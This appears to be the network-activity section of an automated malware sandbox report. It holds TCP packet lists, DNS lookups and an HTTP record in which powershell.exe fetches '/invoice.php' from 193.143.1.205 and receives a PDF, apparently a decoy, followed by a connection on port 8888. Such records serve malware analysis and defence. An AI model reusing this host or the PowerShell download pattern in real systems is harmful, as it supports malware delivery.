Jan 10, 2025 20:59:52.894407034 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894418001 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894423962 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894433975 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894439936 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894448042 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894450903 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894464016 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894475937 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894478083 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894495964 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894519091 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.894959927 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894973040 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894984007 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894989967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.894999981 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895010948 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895023108 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895032883 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895040989 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895045042 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895056009 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895072937 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895092010 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895102024 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895112038 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895122051 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895133972 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895144939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895147085 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895154953 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895200014 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895256042 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895261049 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895267963 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895277977 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895288944 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895301104 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895307064 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895319939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895330906 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895334959 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895343065 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895354033 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895364046 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895365000 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895376921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895389080 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895390034 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895407915 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895428896 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895448923 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895461082 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895472050 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895483017 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895488024 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895498991 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895504951 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895509005 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895519972 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895529032 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895529985 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895540953 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895558119 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895565033 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895580053 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895584106 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895597935 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895608902 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895620108 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895621061 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895631075 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895643950 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895648956 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895656109 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895668030 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895683050 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895684004 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895695925 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895701885 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895708084 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895720005 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895720005 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895730972 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.895749092 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.895778894 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896099091 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896119118 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896140099 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896151066 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896157980 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896163940 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896176100 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896188021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896190882 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896198034 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896209955 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896222115 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896228075 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896248102 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896274090 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896291971 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896302938 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896322012 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896332026 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896343946 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896347046 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896353960 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896359921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896365881 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896374941 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896413088 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896483898 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896496058 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896507025 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896517992 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896529913 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896539927 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896543026 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896559954 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896567106 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896570921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896583080 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896583080 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896595955 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896609068 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896614075 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896641016 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896641016 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896655083 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896667004 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896677971 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896687984 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896697998 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896697998 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896699905 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896713018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896724939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896732092 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896737099 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896756887 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896759033 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896791935 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896797895 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896805048 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896816015 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896827936 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896832943 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896838903 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896856070 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896864891 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896867037 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896878958 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896889925 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896894932 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896899939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896909952 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896914005 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.896915913 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896923065 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.896972895 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.897259951 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897273064 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897320986 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.897387981 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897401094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897411108 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897423029 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897433996 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.897434950 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897447109 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897458076 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897461891 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.897469997 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897484064 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.897507906 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.897515059 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897526026 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897536039 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897547007 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897558928 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.897572994 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.897598982 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.112140894 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.112226009 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.154117107 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160005093 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160027981 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160039902 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160051107 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160064936 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160099983 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160121918 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160132885 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160147905 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160161018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160177946 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160182953 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160201073 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160202026 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160212040 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160222054 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160223961 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160234928 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160247087 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160252094 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160258055 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160269976 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160279036 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160280943 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160291910 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160294056 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160309076 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160327911 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160329103 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160350084 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160357952 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160371065 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160382032 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160393953 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160397053 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160404921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160418034 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160429001 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160429955 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160439014 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160450935 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160461903 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160465002 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160476923 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160489082 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160489082 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160500050 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160511971 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:53.160527945 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.160557032 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.310249090 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.508932114 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:53.968703985 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:54.012046099 CET	8888	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:54.012123108 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:54.012630939 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:54.017432928 CET	8888	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:54.807993889 CET	8888	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:54.847960949 CET	49707	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:55.020241022 CET	49707	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:00:02.701585054 CET	58149	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:00:02.701585054 CET	192.168.2.9	1.1.1.1	0xc5e0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:00:02.709831953 CET	1.1.1.1	192.168.2.9	0xc5e0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:00:03.396272898 CET	1.1.1.1	192.168.2.9	0x67bd	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:00:03.396272898 CET	1.1.1.1	192.168.2.9	0x67bd	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:05.736563921 CET	1.1.1.1	192.168.2.9	0xf369	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:01:05.736563921 CET	1.1.1.1	192.168.2.9	0xf369	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:05.736563921 CET	1.1.1.1	192.168.2.9	0xf369	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:05.736563921 CET	1.1.1.1	192.168.2.9	0xf369	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:05.736563921 CET	1.1.1.1	192.168.2.9	0xf369	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:05.736563921 CET	1.1.1.1	192.168.2.9	0xf369	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:05.736563921 CET	1.1.1.1	192.168.2.9	0xf369	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:05.736563921 CET	1.1.1.1	192.168.2.9	0xf369	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:05.736563921 CET	1.1.1.1	192.168.2.9	0xf369	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:18.978004932 CET	1.1.1.1	192.168.2.9	0xfa2f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:18.978004932 CET	1.1.1.1	192.168.2.9	0xfa2f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:43.071861029 CET	1.1.1.1	192.168.2.9	0x2dd9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:01:43.071861029 CET	1.1.1.1	192.168.2.9	0x2dd9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	193.143.1.205	80	5480	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:59:51.372138023 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:59:52.171559095 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:59:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
